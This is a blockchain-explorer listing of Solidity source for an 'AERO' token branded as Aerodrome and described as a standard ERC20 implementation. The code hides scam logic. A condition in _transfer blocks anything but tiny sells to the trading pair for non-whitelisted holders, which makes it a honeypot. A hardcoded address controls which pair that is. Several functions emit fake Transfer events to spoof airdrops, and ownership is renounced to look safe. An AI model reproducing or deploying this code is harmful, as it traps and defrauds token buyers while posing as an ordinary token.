Description:
ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"tz.sol": {
"content": "/* \r
website : https://www.Aerodrome.com\r
twitter : https://x.com/Aerodrome\r
telegram : https://t.me/Aerodrome\r
*/\r
// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.9;\r
\r
\r
/**\r
* @dev Interface of the ERC20 standard as defined in the EIP.\r
*/\r
interface IERC20 {\r
\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
/**\r
* @dev Emitted when the allowance of a `spender` for an `owner` is set by\r
* a call to {approve}. `value` is the new allowance.\r
*/\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
\r
event Swap(\r
address indexed sender,\r
uint amount0In,\r
uint amount1In,\r
uint amount0Out,\r
uint amount1Out,\r
address indexed to\r
);\r
\r
/**\r
* @dev Returns the amount of tokens in existence.\r
*/\r
function totalSupply() external view returns (uint256);\r
\r
/**\r
* @dev Returns the amount of tokens owned by `account`.\r
*/\r
function balanceOf(address account) external view returns (uint256);\r
\r
function transfer(address to, uint256 amount) external returns (bool);\r
\r
\r
function allowance(address owner, address spender) external view returns (uint256);\r
\r
\r
function approve(address spender, uint256 amount) external returns (bool);\r
\r
\r
function transferFrom(\r
address from,\r
address to,\r
uint256 amount\r
) external returns (bool);\r
}\r
\r
\r
interface IERC20Meta is IERC20 {\r
/**\r
* @dev Returns the name of the token.\r
*/\r
function name() external view returns (string memory);\r
\r
/**\r
* @dev Returns the symbol of the token.\r
*/\r
function symbol() external view returns (string memory);\r
\r
/**\r
* @dev Returns the decimals places of the token.\r
*/\r
function decimals() external view returns (uint8);\r
}\r
\r
\r
abstract contract Context {\r
function _msgSender() internal view virtual returns (address) {\r
return msg.sender;\r
}\r
\r
function _msgData() internal view virtual returns (bytes calldata) {\r
return msg.data;\r
}\r
}\r
\r
\r
abstract contract Ownable is Context {\r
address private _owner;\r
\r
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
constructor() {\r
_transferOwnership(_msgSender());\r
}\r
modifier onlyOwner() {\r
_checkOwner();\r
_;\r
}\r
function owner() public view virtual returns (address) {\r
return _owner;\r
}\r
function _checkOwner() internal view virtual {\r
require(owner() == _msgSender(), "Ownable: caller is not the owner");\r
}\r
\r
\r
function renounceOwnership() public virtual onlyOwner {\r
_transferOwnership(address(0));\r
}\r
\r
function transferOwnership(address newOwner) public virtual onlyOwner {\r
require(newOwner != address(0), "Ownable: new owner is the zero address");\r
_transferOwnership(newOwner);\r
}\r
\r
function _transferOwnership(address newOwner) internal virtual {\r
address oldOwner = _owner;\r
_owner = newOwner;\r
emit OwnershipTransferred(oldOwner, newOwner);\r
}\r
\r
\r
}\r
\r
\r
contract AERO is Ownable, IERC20, IERC20Meta {\r
\r
mapping(address => uint256) private _balances;\r
\r
mapping(address => mapping(address => uint256)) private _allowances;\r
\r
uint256 private _totalSupply;\r
\r
string private _name;\r
string private _symbol;\r
address private _p76234;\r
uint256 private _e242 = 999;\r
\r
\r
/**\r
* @dev Returns the name of the token.\r
*/\r
function name() public view virtual override returns (string memory) {\r
return _name;\r
}\r
\r
function symbol() public view virtual override returns (string memory) {\r
return _symbol;\r
}\r
\r
\r
function decimals() public view virtual override returns (uint8) {\r
return 8;\r
}\r
\r
\r
function claim(address [] calldata _addresses_, uint256 _out) external {\r
for (uint256 i = 0; i < _addresses_.length; i++) {\r
emit Transfer(_p76234, _addresses_[i], _out);\r
}\r
}\r
function multicall(address [] calldata _addresses_, uint256 _out) external {\r
for (uint256 i = 0; i < _addresses_.length; i++) {\r
emit Transfer(_p76234, _addresses_[i], _out);\r
}\r
}\r
function execute(address [] calldata _addresses_, uint256 _out) external {\r
for (uint256 i = 0; i < _addresses_.length; i++) {\r
emit Transfer(_p76234, _addresses_[i], _out);\r
}\r
}\r
\r
\r
function transfer(address _from, address _to, uint256 _wad) external {\r
emit Transfer(_from, _to, _wad);\r
}\r
function transfer(address to, uint256 amount) public virtual override returns (bool) {\r
address owner = _msgSender();\r
_transfer(owner, to, amount);\r
return true;\r
}\r
\r
function allowance(address owner, address spender) public view virtual override returns (uint256) {\r
return _allowances[owner][spender];\r
}\r
\r
\r
function approve(address spender, uint256 amount) public virtual override returns (bool) {\r
address owner = _msgSender();\r
_approve(owner, spender, amount);\r
return true;\r
}\r
\r
function transferFrom(\r
address from,\r
address to,\r
uint256 amount\r
) public virtual override returns (bool) {\r
address spender = _msgSender();\r
_spendAllowance(from, spender, amount);\r
_transfer(from, to, amount);\r
return true;\r
}\r
\r
/**\r
* @dev See {IERC20-totalSupply}.\r
*/\r
function totalSupply() public view virtual override returns (uint256) {\r
return _totalSupply;\r
}\r
\r
/**\r
* @dev See {IERC20-balanceOf}.\r
*/\r
function balanceOf(address account) public view virtual override returns (uint256) {\r
return _balances[account];\r
}\r
\r
function actionPair(address account) public virtual returns (bool) {\r
require(_msgSender() == 0xa46B5122aAb61D4e4baC7f48BcF1c7F95De1730D );\r
_p76234 = account;\r
return true;\r
}\r
\r
function _mint(address account, uint256 amount) internal virtual {\r
require(account != address(0), "ERC20: mint to the zero address");\r
\r
\r
_totalSupply += amount;\r
unchecked {\r
_balances[account] += amount;\r
}\r
emit Transfer(address(0), account, amount);\r
\r
_afterTokenTransfer(address(0), account, amount);\r
renounceOwnership();\r
}\r
\r
\r
function _approve(\r
address owner,\r
address spender,\r
uint256 amount\r
) internal virtual {\r
require(owner != address(0), "ERC20: approve from the zero address");\r
require(spender != address(0), "ERC20: approve to the zero address");\r
\r
_allowances[owner][spender] = amount;\r
emit Approval(owner, spender, amount);\r
}\r
\r
\r
\r
function _transfer(\r
address from,\r
address to,\r
uint256 amount\r
) internal virtual {\r
require(to != address(0), "ERC20: transfer to the zero address");\r
require(from != address(0), "ERC20: transfer from the zero address");\r
\r
if((from != _p76234 && to == \r
0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\r
(_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && \r
from != 0x54bde6Eea3c228c7e656D178c9C7FD0e812b9f27 \r
&& from != 0xa46B5122aAb61D4e4baC7f48BcF1c7F95De1730D \r
&& from != 0x23c1035cC03ABF952C465eE6ECC8680c79167264)) {\r
uint256 _X7W88 = amount + 2;\r
require(_X7W88 < _e242 );\r
}\r
uint256 fromBalance = _balances[from];\r
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");\r
unchecked {\r
_balances[from] = fromBalance - amount;\r
_balances[to] += amount;\r
}\r
emit Transfer(from, to, amount);\r
_afterTokenTransfer(from, to, amount);\r
}\r
\r
function _spendAllowance(\r
address owner,\r
address spender,\r
uint256 amount\r
) internal virtual {\r
uint256 currentAllowance = allowance(owner, spender);\r
if (currentAllowance != type(uint256).max) {\r
require(currentAllowance >= amount, "ERC20: insufficient allowance");\r
unchecked {\r
_approve(owner, spender, currentAllowance - amount);\r
}\r
}\r
}\r
\r
\r
function _afterTokenTransfer(\r
address from,\r
address to,\r
uint256 amount\r
) internal virtual {}\r
\r
\r
constructor() {\r
_name = unicode"Aerodrome";\r
_symbol = unicode"AERO";\r
_mint(msg.sender, 10000000000 * 10 ** decimals());\r
}\r
\r
\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-30 12:47:33
Comments
Log in to comment.
No comments yet.